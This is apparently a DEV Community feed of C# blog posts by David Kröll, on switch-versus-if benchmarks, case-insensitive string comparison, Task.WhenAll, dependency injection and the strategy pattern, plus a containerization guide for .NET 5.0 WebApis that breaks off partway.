DEV Community: David Kröll

Switch is Faster than If (in C#)

David Kröll — Wed, 25 May 2022 05:13:32 +0000

C# does support multiple control structures such as if, else, switch, while, for (and some more). With a control structure you can split your code in multiple possible paths, based on a codition.

A general graphical representation of a control structure

The if and switch statements are very well-known and adopted in most programming languages nowadays. They are also often applied for the same use-case.

The experiment

Given a three-digit string of month names, like Jan, Feb, Mar, ... we want to get the corresponding month number as integer. The results would be: Jan = 1, Feb = 2, Mar = 3 and so on.

The if-implementation

This is the baseline implementation with if and return.

private int GetMonthIndexIf(string month)
{
    if (month == "Jan")
    {
        return 1;
    }

    if (month == "Feb")
    {
        return 2;
    }

    if (month == "Mar")
    {
        return 3;
    }
    // and so on
}

The switch-implementation

This is the equivalent implementation with a switch statement.

private int GetMonthIndexSwitch(string month)
{
    return month switch
    {
        "Jan" => 1,
        "Feb" => 2,
        "Mar" => 3,
        "Apr" => 4,
        "May" => 5,
        "Jun" => 6,
        "Jul" => 7,
        "Aug" => 8,
        "Sep" => 9,
        "Okt" => 10,
        "Nov" => 11,
        "Dez" => 12,
        _     => throw new ArgumentException(),
    };
}

The syntax used above is called a switch expression.
This is available since C# 8.0, see: MSDN Docs

The Dictionary-implementation

For reference, I've also created an implementation based on a Dictionary<string, int>.

private int GetMonthIndexDictionary(string month)
{
    // _monthsDict maps the month name to the index
    return _monthsDict[month];
}

Benchmark setup

I'm using BenchmarkDotNet for running the benchmarks. For every GetMonthIndex* method, all months from Jan to Dez are called N times, to cover every path of these methods. The benchmark is executed three times, for N=1, 10, 100.

Benchmark results

BenchmarkDotNet=v0.13.1, OS=Windows 10.0.19044.1645 (21H2)
Intel Core i7-8650U CPU 1.90GHz (Kaby Lake R), 1 CPU, 8 logical and 4 physical cores
.NET SDK=6.0.104
  [Host]     : .NET 6.0.4 (6.0.422.16404), X64 RyuJIT
  DefaultJob : .NET 6.0.4 (6.0.422.16404), X64 RyuJIT


|                   Method |   N |        Mean |     Error |    StdDev |
|------------------------- |---- |------------:|----------:|----------:|
|     GetMonthIndex_Switch |   1 |    173.7 ns |   0.77 ns |   0.72 ns |
|         GetMonthIndex_If |   1 |    485.6 ns |   3.13 ns |   2.78 ns |
| GetMonthIndex_Dictionary |   1 |    325.8 ns |   1.70 ns |   1.42 ns |
|     GetMonthIndex_Switch |  10 |    960.9 ns |   5.56 ns |   5.20 ns |
|         GetMonthIndex_If |  10 |  2,528.3 ns |  15.35 ns |  14.36 ns |
| GetMonthIndex_Dictionary |  10 |  1,793.8 ns |  25.68 ns |  22.77 ns |
|     GetMonthIndex_Switch | 100 |  8,211.9 ns |  68.39 ns |  53.40 ns |
|         GetMonthIndex_If | 100 | 26,460.3 ns | 513.94 ns | 990.18 ns |
| GetMonthIndex_Dictionary | 100 | 17,662.1 ns | 286.67 ns | 254.13 ns |

As you can above, the GetMonthIndex_Switch is the fastest,
GetMonthIndex_Dictionary ranks on the second place, and GetMonthIndex_If is the slowest.

Mind that these are nanoseconds (!) it won't effect your application performance very much.

Now why is switch faster than if?

The switch statement distilled

In fact, the switch statement does not exist in C#. There is a step in the compilation of C#, which rewrites switch statements to if-statements. This step is called lowering. It translates high-level language features to low-level language features.

You can read more about it here.
You will also notice that this is very widely used.

With sharplab.io you can see the C#-code which is produced during lowering. When we paste our original GetMonthIndexSwitch in there, you will see that this is rewritten into if statements.

private int GetMonthIndexSwitch(string month)
{
    uint num = <PrivateImplementationDetails>.ComputeStringHash(month);
    if (num <= 1118301483)
    {
        if (num <= 749839599)
        {
            if (num != 566134113)
            {
                if (num != 663571330)
                {
                    if (num == 749839599 && month == "Sep")
                    {
                        return 9;
                    }
                }
                else if (month == "Feb")
                {
                    return 2;
                }
            }
            else if (month == "Okt")
            {
                return 10;
            }
        }
        else if (num != 1000858150)
        {
            if (num != 1046388392)
            {
                if (num == 1118301483 && month == "Mar")
                {
                    return 3;
                }
            }
            else if (month == "Dez")
            {
                return 12;
            }
        }
        else if (month == "May")
        {
            return 5;
        }
    }
    else if (num <= 1190317742)
    {
        if (num != 1153511100)
        {
            if (num != 1187066338)
            {
                if (num == 1190317742 && month == "Jan")
                {
                    return 1;
                }
            }
            else if (month == "Jun")
            {
                return 6;
            }
        }
        else if (month == "Jul")
        {
            return 7;
        }
    }
    else if (num != 2213879282u)
    {
        if (num != 2319303684u)
        {
            if (num == 2699988948u && month == "Aug")
            {
                return 8;
            }
        }
        else if (month == "Nov")
        {
            return 11;
        }
    }
    else if (month == "Apr")
    {
        return 4;
    }
    throw new ArgumentException();
}

Compared to our solution with the if-statements, it produces the same output but works in a whole different way.

Instead of going through all cases, it builds up a tree-like structure. This is where the performance gain comes. It's just faster when you look for a match in a tree-structure, than to look for a match when iterating all possible cases. Below you can see an example of a tree-structure.

The compiler only rewrites it into a tree-structure if there are enough possible cases. When there are less than seven cases, no tree-structure is built.

An example tree structure. This does not match the code generated during lowering seen above

Summary

Switch statements are rewritten by the compiler to if-statements. Due to the rewriting into a tree-structure, it gets faster the more cases are.
There are many other high-level language features which are rewritten during the lowering step in the compilation.
In this scenario with 12 cases, if is the slowest, the dictionary ranks second and the switch is the fastest. Nevertheless, it probably won't affect your application's performance.

A Time-Scoped Registration Mechanism for Microsoft.Extensions.DependencyInjection

David Kröll — Mon, 18 Apr 2022 21:43:02 +0000

The Microsoft Dependency Injection (DI) container provides three different types of registrations.

Transient
Scoped
Singleton

A Transient registration will always create a new instance of a service when requested. When registered as Scoped, there will be a single instance within a scope. A scope can be anything and is created via the IServiceProvider.CreateScope() extension method. For example, in ASP.NET every HTTP request has it's own scope. The last type is the Singleton (a GoF design pattern), this resolves always the same instance, as the name suggests.

These days I wanted to have a DI registration which will be time-scoped. As such, it will return a new instance, if the time in which it is valid runs out. You can think of it like a best-before date.

The reference time should be the time, when it is accessed (created) first.

A diagram on how a resolve of a service should work and when there are fresh instances created

Usage

Install the package DavidKroell.TimeScoped into your projects - it is available from NuGet.org.

With AddTimeScoped<TSerice> you can add a time-scoped service to the DI container. You can then resolve the time-scoped service as a generic interface: ITimeScoped<DummyService> This interface has a single property - Instance - which will be your real service.

var sc = new ServiceCollection();

sc.AddTimeScoped<DummyService>(TimeSpan.FromSeconds(3));

var provider = sc.BuildServiceProvider();

var timeScopedService = provider.GetRequiredService<ITimeScoped<DummyService>>();

var instance1 = timeScopedService.Instance;

await Task.Delay(5000);

// should return a new instance, because 3 seconds are over
var instance2 = timeScopedService.Instance;

Assert.AreNotSame(instance1, instance2);

Never store an instance of your real service in an variable!
You should always access it within the wrapper class.

Implementation

The implementation of this is pretty simple. The main logic is all within the Instance getter method.

internal class TimeScopedProvider<TService> : ITimeScoped<TService> where TService : class
{
    private readonly IServiceProvider _provider;
    private readonly TimeSpan _validTimeSpan;
    private DateTime? _validUntil;
    private TService? _instance;
    public TService Instance => GetInstance();

    public TimeScopedProvider(IServiceProvider provider, TimeSpan validTimeSpan)
    {
        _provider = provider;
        _validTimeSpan = validTimeSpan;
    }

    private TService GetInstance()
    {
        if (_validUntil == null || _validUntil < DateTime.Now)
        {
            lock (this)
            {
                CleanupOldInstance();

                _instance = (TService) _provider.GetService(typeof(TService))!;

                _validUntil = DateTime.Now.Add(_validTimeSpan);
            }
        }

        return _instance!;
    }

    private void CleanupOldInstance()
    {
        if (_instance is IDisposable disposable)
        {
            disposable.Dispose();
        }

        _instance = null;
    }
}

Summary

You can use this implementation when you want a new instance from time to time, but not for every access. I've once used it for a simple cache implementation.

Don't use String.ToLower() in C# when comparing strings

David Kröll — Tue, 15 Mar 2022 21:05:48 +0000

When comparing strings, often the casing should be ignored in the comparison. Most of the times, this is required because every user writes text different. I do not really care when there is “Apple” or “apple” in a dataset. To me, this is the same. On the other side, “A” and “a” are different characters for computers.

To overcome this problem, a working and very wide-spread approach is to first lowercase (or uppercase) all letters and then compare them. Most of us done it, me too - but no longer. Although there is a drawback you should keep in mind when it comes to performance.

I’ve created a litte benchmark program an I’ll evaluate the results afterwards. First I’ll explain the benchmark setup.

Benchmark setup

I’ve evaluated three types of string equality comparison.

Strings which are equal (except casing)
Strings which are not equal, differing in the last character
Strings which are not equal, differing in the first character

These three test-cases were applied to string with lengths of 10, 100 and 1000 characters

My benchmark code looks like the below code snippet, where StringToCheck and VerifyString are generated.

[Benchmark]
public void StringComparison_Equals()
{
    var result = StringToCheck.Equals(VerifyString, StringComparison.CurrentCultureIgnoreCase);
}

[Benchmark]
public void StringComparison_EqualityOperator()
{
    var result = StringToCheck.ToLower() == VerifyString.ToLower();
}

Benchmark results

I've used BenchmarkDotNet to run my test and enable the MemoryDiagnoser to also anaylse memory usage/allocations.

BenchmarkDotNet=v0.13.1, OS=Windows 10.0.19044.1526 (21H2)
Intel Core i7-8650U CPU 1.90GHz (Kaby Lake R), 1 CPU, 8 logical and 4 physical cores
.NET SDK=6.0.101
  [Host]     : .NET 6.0.1 (6.0.121.56705), X64 RyuJIT
  DefaultJob : .NET 6.0.1 (6.0.121.56705), X64 RyuJIT


|                                    Method | Length |        Mean |     Error |    StdDev |      Median |  Gen 0 | Allocated |
|------------------------------------------ |------- |------------:|----------:|----------:|------------:|-------:|----------:|
|                   StringComparison_Equals |     10 |    55.42 ns |  1.766 ns |  5.180 ns |    55.51 ns |      - |         - |
|           StringComparison_Equals_b_Start |     10 |    46.70 ns |  0.973 ns |  1.965 ns |    46.41 ns |      - |         - |
|             StringComparison_Equals_b_End |     10 |    81.11 ns |  1.815 ns |  5.236 ns |    80.42 ns |      - |         - |
|         StringComparison_EqualityOperator |     10 |    79.07 ns |  2.444 ns |  7.168 ns |    77.24 ns | 0.0229 |      96 B |
| StringComparison_EqualityOperator_b_Start |     10 |    80.76 ns |  2.589 ns |  7.551 ns |    79.09 ns | 0.0229 |      96 B |
|   StringComparison_EqualityOperator_b_End |     10 |    86.48 ns |  2.763 ns |  8.016 ns |    85.40 ns | 0.0229 |      96 B |
|                   StringComparison_Equals |    100 |   131.51 ns |  2.654 ns |  7.485 ns |   128.91 ns |      - |         - |
|           StringComparison_Equals_b_Start |    100 |    51.06 ns |  1.427 ns |  4.162 ns |    49.94 ns |      - |         - |
|             StringComparison_Equals_b_End |    100 |   410.15 ns | 10.802 ns | 31.849 ns |   403.00 ns |      - |         - |
|         StringComparison_EqualityOperator |    100 |   246.99 ns |  4.642 ns |  4.342 ns |   246.59 ns | 0.1070 |     448 B |
| StringComparison_EqualityOperator_b_Start |    100 |   243.33 ns |  2.462 ns |  2.056 ns |   243.46 ns | 0.1070 |     448 B |
|   StringComparison_EqualityOperator_b_End |    100 |   260.33 ns |  5.702 ns | 16.176 ns |   253.08 ns | 0.1070 |     448 B |
|                   StringComparison_Equals |   1000 |   878.83 ns |  7.949 ns |  7.047 ns |   878.38 ns |      - |         - |
|           StringComparison_Equals_b_Start |   1000 |    46.50 ns |  0.944 ns |  0.883 ns |    46.13 ns |      - |         - |
|             StringComparison_Equals_b_End |   1000 | 3,291.64 ns | 27.859 ns | 26.060 ns | 3,283.96 ns |      - |         - |
|         StringComparison_EqualityOperator |   1000 | 2,001.56 ns | 31.459 ns | 27.888 ns | 1,993.78 ns | 0.9670 |   4,048 B |
| StringComparison_EqualityOperator_b_Start |   1000 | 1,966.92 ns | 32.515 ns | 28.824 ns | 1,967.16 ns | 0.9670 |   4,048 B |
|   StringComparison_EqualityOperator_b_End |   1000 | 2,002.98 ns | 39.681 ns | 30.980 ns | 1,997.75 ns | 0.9670 |   4,048 B |

As you can seee in the above table, the Equals method is sometimes faster, but does not allocate any memory.

The biggest difference is, when the strings differ in the first character. It takes about the same time to compare string with 10, 100 and 1000 if they differ at the start. In contrast to that, with EqualityOperator this cannot be seen.

For the version with EqualityOperator it takes the same time, no matter where the difference is. This is not true for the Equals, this gets faster, the earlier the difference is. This is probably only because of the ToLower() in the first place.

In addition, memory is allocated when using EqualityOperator with ToLower(). That's because of a new instance with all lowercased letters has to be created. See: String.ToLower Method - Microsoft Docs

Additional memory allocations are bad because the garbage collector needs to clean them up again, which will cost valuable CPU time and therefore slows down the application

Summary

Don't use ToLower() when comparing strings (neither use ToUpper()). This also applies to related string operations like StartsWith(), EndsWith(), Contains() and so on. I also interpret this as a code smell, because the available language features are not used. In addition, some IDE's even detect this smell.

As always, the code can be found at my GitHub. There you can also find the benchmark report in CSV format.

A Simple Trick to Boost Performance of Async Code in C#

David Kröll — Tue, 08 Feb 2022 16:12:19 +0000

Performance is something every developer cares about. Even if most of us care about it too early, sooner or later it will impact the user experience if we do not improve performance. A very crucial part of performance is the latency a user is exposed to.

TL; DR:

Use Task.WhenAll() to execute tasks in parallel, if the following task does not depend on a return value of the previous one. This will reduce latency dramatically - without having to optimize every single code-path (if even possible).

Example

Imagine a platform which provides profile pages for users. This platform is able to connect to other social media platforms and load data from there. An example profile page would look like this:

An example profile page from a squirrel

There are different user profile infos printed. To have the latest data, every time a user accesses this profile page, the data is retrieved directly from the third party service.

To retrieve the data, a ProfileLoader class is used. This class returns some dummy data after a specific, artificial delay. I'll omit the implementation of the details-methods in this post. The full source code is available at GitHub (see Conclusion below).

public class ProfileLoader
{
    public async Task<Profile> GetProfileDetailsAsync(string userName)
    {
        var profile = await GetProfileMetaData(userName);

        profile.ProfilePicture = await GetProfilePicture(profile.UserId);
        profile.InstagramDetails = await GetInstagramDetailsAsync(profile.InstagramId);
        profile.GithubDetails = await GetGithubDetailsAsync(profile.GithubId);
        profile.LinkedInDetails = await GetLinkedInDetailsAsync(profile.LinkedInId);

        return profile;
    }
}

For this example, I've created a console application which prints the profile details as JSON to the console, along with how long it took to gather the data. The elapsed time is measured with the Stopwatch.

public static async Task Main()
{
    var profileLoader = new ProfileLoader();

    var sw = Stopwatch.StartNew();

    var profile = await profileLoader.GetProfileDetailsAsync("TheAwesomeSquirrel");

    Console.WriteLine($"Profile details retrieved, took {sw.ElapsedMilliseconds}ms");

    Console.WriteLine(JsonSerializer.Serialize(profile, new JsonSerializerOptions
    {
        WriteIndented = true
    }));

    // Output: 
    // Profile details retrieved, took 1528ms
    // ...
}

According to the code above, the tasks are executed in an asynchronous manner, but still one after another. The thread does not block (because it is async) but the execution is not parallel either.

These are the steps executed one after another. The numbers on the x-axis are the artificial delays.

Every await schedules a thread on the thread pool and waits for the result. After the method returns, the thread continues in the original method. In the diagram above, you can see how the execution is done. Every subsequent task does not start before the current one has completed.

This is the part which can be optimized easily with Task.WhenAll(). Task.WhenAll() allows us to start all tasks at the same time and wait until every single task has completed it's operation.

No task therefore delays the execution of another one.

These are the steps executed in parallel. The numbers on the x-axis are the artificial delays.

Below is the new implementation of the ProfileLoader. All the methods which are called in here to get the details were not touched.

public class ProfileLoader
{   
    public async Task<Profile> GetProfileDetailsFastAsync(string userName)
    {
        var profile = await GetProfileMetaData(userName);

        var profilePictureTask = GetProfilePicture(profile.UserId);
        var instagramDetailsTask = GetInstagramDetailsAsync(profile.InstagramId);
        var githubDetailsTask = GetGithubDetailsAsync(profile.GithubId);
        var linkedInDetailsTask = GetLinkedInDetailsAsync(profile.LinkedInId);

        // start all tasks in parallel and wait until all are completed
        await Task.WhenAll(profilePictureTask, instagramDetailsTask, githubDetailsTask, linkedInDetailsTask);

        // await does not wait here, because tasks are already completed
        profile.ProfilePicture = await profilePictureTask;
        profile.InstagramDetails = await instagramDetailsTask;
        profile.GithubDetails = await githubDetailsTask;
        profile.LinkedInDetails = await linkedInDetailsTask;

        return profile;
    }
}

public static async Task Main()
{
    var profileLoader = new ProfileLoader();

    var sw = Stopwatch.StartNew();

    var profileFast = await profileLoader.GetProfileDetailsFastAsync("TheAwesomeSquirrel");

    System.Console.WriteLine($"Profile details retrieved, took {sw.ElapsedMilliseconds}ms");

    System.Console.WriteLine(JsonSerializer.Serialize(profileFast, new JsonSerializerOptions
    {
        WriteIndented = true
    }));

    // Output: 
    // Profile details retrieved, took 833ms
    // ...
}

As you can see, the total execution is much faster now. Still every method has it's artificial delay, but since it's now running in parallel, the total delay is much lower. Also the overhead compared to when awaiting every task one after another is lower. Before, the overhead (in addition to the artifical delays) was 78ms, now it is reduced to 33ms.

Conclusion

Only by optimizing how tasks are awaited, a lot of performance can be gained. This is possible when method return values do not depend upon another one. Also the overhead in awaiting the tasks is reduced.

Note: The WhenAll() also has an overload which returns the result:
WhenAll<TResult>(IEnumerable<Task<TResult>>).
When all of your provided tasks have the same result type, an
array of results is returned, which you can then use to combine
all of them together.

Have you ever used Task.WhenAll() to improve the performance of your app?

You can view the whole source code on my GitHub.

Homemade DI: The How's and Why's of Dependency Injection (in dotnet)

David Kröll — Thu, 04 Nov 2021 20:08:26 +0000

Once upon a time, a junior developer asked himself: "What is this dependency injection thing that all the seniors are talking about?" He know how to use it, but he was not familiar with the principles behind it, nor he fully understood why all of them are using it.

Once, I've been this developer, but now I'm one of the seniors who believe that dependency injection (DI) is a very important and useful concept we all should be familiar with. Then I sometimes thought how hard could it be to create a DI framework myself? How hard could it be to create some instances of classes which are registered first? It's not magic, neither is it hard. I'd like to show you now how to do it - and maybe it will help you understand it better.

Why Dependency Injection?

Obviously, we do not implement DI as an end in itself. There is a problem we can solve with DI and it's solution is called Dependency Inversion Principle (the D of SOLID, DIP abbreviated).

Assume an implementation like the following:

public class PeopleService
{
    private readonly PeopleRepository _peopleRepository;

    public PeopleService()
    {
        _peopleRepository = new PeopleRepository();
    }
}

The problem here is the creation dependency (the new keyword) to PeopleRepository.

Hard and direct (bad) dependency between classes

Therefore a hard coupling between PeopleService and PeopleRepository is created. Whenever a PeopleService gets created, also a PeopleRepository instance gets created. Exactly this PeopleRepository is instantiated and there is no change to supply another implementation. Hard coupling between these two is the result.

We don't want this due to various reasons. First of all, it's bad for code quality, as the quality attributes testability and changeability cannot be met.

Furthermore, we cannot provide a mock instance to the PeopleService in order to write a unit test for it. The solution to this problem is to pull the creation dependency (the new) up to the consumer of the PeopleService.

The dependency is now inversed, it's the responsibility of whoever wants to use the PeopleService to pass an instance of IPeopleRepository

It's now his responsibility to supply a correct instance of IPeopleRepository to the PeopleService.

public class PeopleService
{
    private readonly PeopleRepository _peopleRepository;

    public PeopleService(IPeopleRepository peopleRepository)
    {
        _peopleRepository = peopleRepository;
    }
}

As you can infer from the naming, we'll use an interface type here as dependency, in order to allow also supplying other implementations (e.g. for testing) to PeopleService to rely on. It is also more clear which other classes are required for the PeopleService to work correctly.

var peopleService = new PeopleService(new PeopleRepository());
// or with another (mock) implementation
var peopleService = new PeopleService(new MockPeopleRepository());

Dependency Injection basics

Imagine you apply the Dependency Inversion Principle everywhere across your app. At some point, all the instances of your classes have to be instantiated and passed to the dependent classes.

A dependency tree

You need A and B to create a PeopleService, but in order to create A you need A1 and A2, and so on. As you can see in the above graphic, a dependency tree arises. Therefore, you have to start at the bottom where no dependencies are required (A11 and A12 here) and work your way up, until you got a PeopleService.

If something is added, removed or moved around inside this tree, you have to adjust it yourself. Especially for large-scale applications with hundreds of classes this soon gets impractical and unmaintainable (again, a quality attribute).

This is where dependency injection comes to the rescue. It's a technique which creates these instances for you and copes with all it's dependencies. The only thing you'd like to do is to have a small library which you can call: I'd like to have an instance of PeopleService, could you give me some?

var peopleService = serviceLibrary.GetService<PeopleService>();

Still assuming we use interfaces as constructor parameters (to be more flexible, you remember) we have to tell the DI framework which concrete implementations will be behind them. We have to register in the first place which implementation should be used for which interface, because there can be different implementations for different scenarios.

This will result in a table-like structure with a mapping from the interface-type to the implementation-type.

Interface	Implementation
IPeopleService	PeopleService
IPeopleRepository	PeopleRepository
ITestDependencyX	TestDependencyX

Implementation

There are two different use-cases for a DI framework to cover:

mapping a interface-implementation type pair
resolving a instance from it, based on a interface type

I'll call my dependency injection framework ServiceLibrary. Only a single class will be used, since it does not get too much code. In consequence all the code snippets below reside in the ServiceLibrary class.

Mapping types

We'll start off with the easy part. As you can see below, the basic implementation is very simple.

private readonly Dictionary<Type, Type> _mappings = new();

public void Map(Type interfaceType, Type implementationType)
{
    _mappings[interfaceType] = implementationType;
}

// generic method for easier use
public void Map<TInterface, TImpl>()
{
    var interfaceType = typeof(TInterface);
    var implementationType = typeof(TImpl);

    Map(interfaceType, implementationType);
}

Of course additional checks can be added to this snippet, for example:

Is this interface already registered?
Does the implementation type even implement this interface?
Is it possible to create a instance of the implementation type?

Resolving mapped types

When you'd like to retrieve an instance of a specific interface type, a lookup based on the _mappings has to be made. Depending on the concrete implementation type, all the dependencies for it also have to be evaluated and built. The above explanation is summarized in the following graphic:

How the service resolve works with interfaces and mappings

This is possible by using reflection, since all dependencies are listed inside the constructor and C# allows us to scan the constructor definition of any type. How this works in code is shown below.

private Type[] GetDependentTypes(Type implType)
{
    // retrieve constructor info
    var ctorInfo = implType.GetConstructors()
        .First();

    var parameterInfos = ctorInfo.GetParameters();

    if (parameterInfos.Length == 0)
    {
        return Array.Empty<Type>();
    }

    // only return the types of the parameters
    return parameterInfos.Select(x => x.ParameterType)
        .ToArray();
}

The below snippet shows how the creation of the instances is done. It's implemented in a recursive manner because of the tree-structure which may result depending on which types you register upfront.

public object GetService(Type type)
{
    // lookup in the registered mappings
    var implType = _mappings[type];
    var dependentTypes = GetDependentTypes(implType);

    if (dependentTypes.Length == 0)
    {
        // no dependencies for this type (parameterless constructor)
        return Activator.CreateInstance(implType);
    }

    // create all dependencies to create this service
    var dependentInstances = new object[dependentTypes.Length];

    for (var i = 0; i < dependentTypes.Length; i++)
    {
        // traverse the tree with recursion
        dependentInstances[i] = GetService(dependentTypes[i]);
    }

    return Activator.CreateInstance(implType, dependentInstances);
}

I left out some null-handling and edge-cases here, but basically that's it. We can now add an generic method to make the library more easy to use:

public T GetService<T>()
{
    return (T) GetService(typeof(T));
}

Usage

The implementation is now done, it's time to use it. We'll use the generic methods we created, since this is easier in my opinion. We just have to register all our interface-implementation type mappings first, and afterwards we are able to resolve an interface from it.

var sl = new ServiceLibrary();

// register
sl.Map<IPeopleService, PeopleService>();
sl.Map<ITestDependencyX, TestDependencyX>();
sl.Map<ITestDependencyY, TestDependencyY>();

// resolve
var peopleService = sl.GetService<IPeopleService>();

Conclusion

I haven't thought implementing a fully functional DI framework would be so straightforward upfront. However the more I thought about it, the easier it got. Nevertheless there are more use-cases which can be covered with DI, for example service lifetime management (singletons) just to name one.

I hope the concept of dependency injection is clear to you now. Feel free to look up the final code on GitHub as I worked a little bit on it for improvements and also tested it for the various use-cases.

Strategy Design Pattern with Dependency Injection

David Kröll — Tue, 21 Sep 2021 05:54:12 +0000

The strategy pattern is a behavioral design pattern which lets you select an algorithm at runtime. Rather than implementing it directly, you will end up having multiple code parts with the same interface, which are completely interchangeable. This design pattern was invented by the famous GoF back in the '90.

In this article I'd like to show a different implementation of it
using dependency injection and discuss the pros and cons in contrast to the "classic" implementation.

Outline

What is the strategy design pattern?
What are the usages of it?
How to implement it in a classic way
How to implement it with dependency injection

Remark: The full code is available at GitHub

What is the strategy design pattern?

Imagine you are running a restaurant which provides service at the tables and also meals for delivery. As a result, you have different efforts and costs depending on where your customer likes to eat.

At the restaurant you have to wash dishes, serve plates to the table and clean them up.

When a customer likes to have his menu for delivery, you have to package it and deliver it to your customers house.

Therefore, you maybe have two different pricing policies:

Eating at the restaurant
Takeaway and delivery
... maybe many more in the future

This is a perfect use case for the strategy design pattern.

You can find a more detailed explanation of the strategy design pattern - also with examples in various languages - at https://refactoring.guru/. There are also other design patterns explained in much detail at this site.I totally recommend it to everyone to give it a try.

Implementation without DI

Let me quickly break down this design pattern in it's parts so that cou can more easily understand it.

Context object

Holds a reference to all the strategies
Executes them via the same interface

public class BillCalculatorContext
{
    private readonly Dictionary<string, IBillCalculator> _strategies;

    public BillCalculatorContext(BillCalculatorRestaurantStrategy restaurantStrategy,
                                 BillCalculatorDeliveryStrategy deliveryStrategy)
    {
        // all the available strategies
        _strategies = new Dictionary<string, IBillCalculator>
        {
            {"restaurant", restaurantStrategy},
            {"delivery", deliveryStrategy}
        };
    }

    public decimal GetTotalPrice(string strategy, ICollection<Order> orders)
    {
        if(_strategies.TryGetValue(strategy, out var billCalculator))
        {
            // the call to the strategy
            return billCalculator.GetTotalPrice(orders);
        }

        throw new NotSupportedException($"Strategy {strategy} is not supported");
    }
}

Strategy client:

Decides which strategy to use
Calls the context object

public static void Run(bool isDelivery, ICollection<Order> orders)
{
    var billCalculatorContext = new BillCalculatorContext(
        new BillCalculatorRestaurantStrategy(),
        new BillCalculatorDeliveryStrategy());

    var strategy = isDelivery
        ? "delivery"
        : "restaurant";

    var price = billCalculatorContext.GetTotalPrice(strategy, orders);
    Console.WriteLine($"Total bill is: {price} - calculated with {nameof(StartupClassic)}");
}

A complete explanation with samples can be found here: Strategy design pattern

Implementation with DI

Make sure to understand dependency injection first:
https://dev.to/ankitutekar/dependency-injection-the-what-and-whys-240m

Proceeding from the classic implementation, the so-called Context object is now the DI-container.

The strategy decision is handled via this container, depending on what implementation is supplied in the configuration.

When someone resolves the desired interface you automatically get the correct implementation.

// decision is made based on the value of isDelivery
public static void Run(bool isDelivery, ICollection<Order> orders)
{
    var serviceCollection = new ServiceCollection();

    if (isDelivery)
    {
        serviceCollection.AddSingleton<IBillCalculator, BillCalculatorDeliveryStrategy>();
    }
    else
    {
        serviceCollection.AddSingleton<IBillCalculator, BillCalculatorRestaurantStrategy>();
    }

    var serviceProvider = serviceCollection.BuildServiceProvider();
    var billCalculator = serviceProvider.GetRequiredService<IBillCalculator>();

    var price = billCalculator.GetTotalPrice(orders);
    Console.WriteLine($"Total bill is: {price} - calculated with {nameof(StartupDI)}");
}

Pro's and cons with the Microsoft DI

Pro Simple to use and default setup for ASP.NET WebApi nowadays. Therefore, nearly any major framework is compatible with the Microsoft.Extensions.DependencyInjection NuGet. This circumstance makes this option very popular and well-known.

Con A clear con is that when using this DI-container, it is not possible to change the strategy decision after the IServiceProvider was built, since Microsoft uses a two-phased approach (which makes the dependency resolution very fast).

As a result, it's bad for long-running services, but perfectly fine for short-lived programs like CLIs.

Summary

Remark: The full code is available at GitHub

Works fine if it is a short-lived application with decisions only made once. Otherwise the "default" implementation works too, as well.

When using other DI-Containers it is still possible to change service registrations during runtime which is another potential design.

As a third option it's also possible to combine the classic implementation with DI so the Context object is not responsible for the strategy instance creation; but the strategy client still goes through the context object.

As you can see there is no one-size-fits-all solution and as always you have to decide on your own which approach is better for your particular use case.

Zero to Hero: Containerizing .NET 5.0 WebApis

David Kröll — Sat, 10 Jul 2021 13:15:31 +0000

In this guide I'd like to show the most important topics and aspects when talking about containerizing a .NET 5.0 WebApi application. There are many articles about it online but no one takes care of all aspects - until now. With this guide you'd be able to go from zero 0️⃣ to hero 🗻 when talking about containers and .NET 5.0 WebApi.

This articles focuses on building the app inside a Linux container.
I won't talk about .NET Framework (4.x) which would require the Windows platform to run.

What's inside

The following topics are going to be considered in this guide:

Configuration
Testing
OpenAPI spec (Swaggerfile) generation
Image size optimizations
Container security
Overwriting defaults

Intial Dockerfile setup

This is the base version we are going to improve step by step in this guide. The major downside is, that there is much more included in the final image than we need for production use.

FROM mcr.microsoft.com/dotnet/sdk:5.0-alpine AS build
WORKDIR /source

# Copy and restore
COPY . .
# make sure this is set in the RuntimeIdentifiers of the .csproj
RUN dotnet restore -r linux-musl-x64

# publish project (StartupProject is the startup project)
RUN dotnet publish -c Release -o /appReleased -r linux-musl-x64 \
    --no-restore StartupProject/*.csproj

ENTRYPOINT ["/appReleased/StartupProject"]

Configuration

Application configuration is nowadays typically done in appsettings.json. Nevertheless there are a bunch more configuration providers pre-built in the ASP .NET Core 5.0 framework. These include the following:

Environment variables
Command line args
Directory files

In fact it does matter in which order you apply these setting because they can overwrite each other. This powerful feature enables us to have some default configuration which can be overwritten at runtime.

My way of configuring the application is a mixture of the appsettings.json file and environment variables.

Since the settings file is a JSON, nesting is possible. When providing configuration with environment variables, you should split these using __ (a double underline).

Taking the following file as example:

// appsettings.json
{
    "JWT": {
        "Secret": ""
    }
    // ...
}

Assuming the configuration file from above, overwriting with environment variables is possible with the following statement:

export JWT__Secret=superSecureJWTSecret

I don't want the secrets like external API keys, JWT details, etc.
inside my Git history, so they are provided as environment ariables at application runtime.

I'm using the settings file for a basic default configuration
and the environment variables for the complete setup. As already mentioned above, the environment variables will overwrite configuration done in appsettings.json, when the same key is provided.

Testing

Running tests every time you build your application is a crucial part of any CI pipeline, and executing them inside an isolated environment is even better.

Running unit tests within the new .NET 5.0 ecosystem is as easy as calling a single command with the .NET CLI:

RUN dotnet test --no-restore

Because we restored the project right before, we do not need to restore again (which would be the default behaviour). This implies that we can save some CI-Pipeline time with the --no-restore flag.

OpenAPI spec (Swaggerfile) generation

A very popular NuGet for a ASP .NET Core 5.0 projects is the
Swashbuckle.AspNetCore
which provides automatic OpenAPI generation.

Most of the users may not know the dotnet CLI tool they provide. With this tool it is possible to generate the OpenAPI spec directly from the startup assembly.

dotnet tool install --version 6.1.1 Swashbuckle.AspNetCore.Cli

⚠️ Make sure you use the same version of the CLI tool
and the NuGet, otherwise it will result in some strange error.

There should now be a dotnet-tools config present, which stores all installed tools and corresponding versions. This is important as this file is required for the build process later on. Make sure to also include it in your Git repository.

# build swagger.json from controller/endpoint definitions
RUN dotnet tool restore \
        dotnet swagger tofile --output swagger.json StartupProject/bin/Debug/net5.0/StartupProject.dll v1

The OpenAPI specification is now written as JSON file inside the built image. You can for example build a client with the OpenAPI toolkit or just save it for later use.

For building a seperate client, another stage in your Dockerfile would be applicable.

Official Docker docs on multi-stage builds

Image size and multi-staged builds

Until now the build process only spits out my own application and it's dependencies. As of now, the correct .NET runtime has to be installed and managed seperately. This is also called framework-dependent. Indeed, there is another type of building and publishing an application. That's called the self-contained release. When using this, the runtime is provided together with the application code itself. As a result, the runtime doesn't need to be installed seperately.

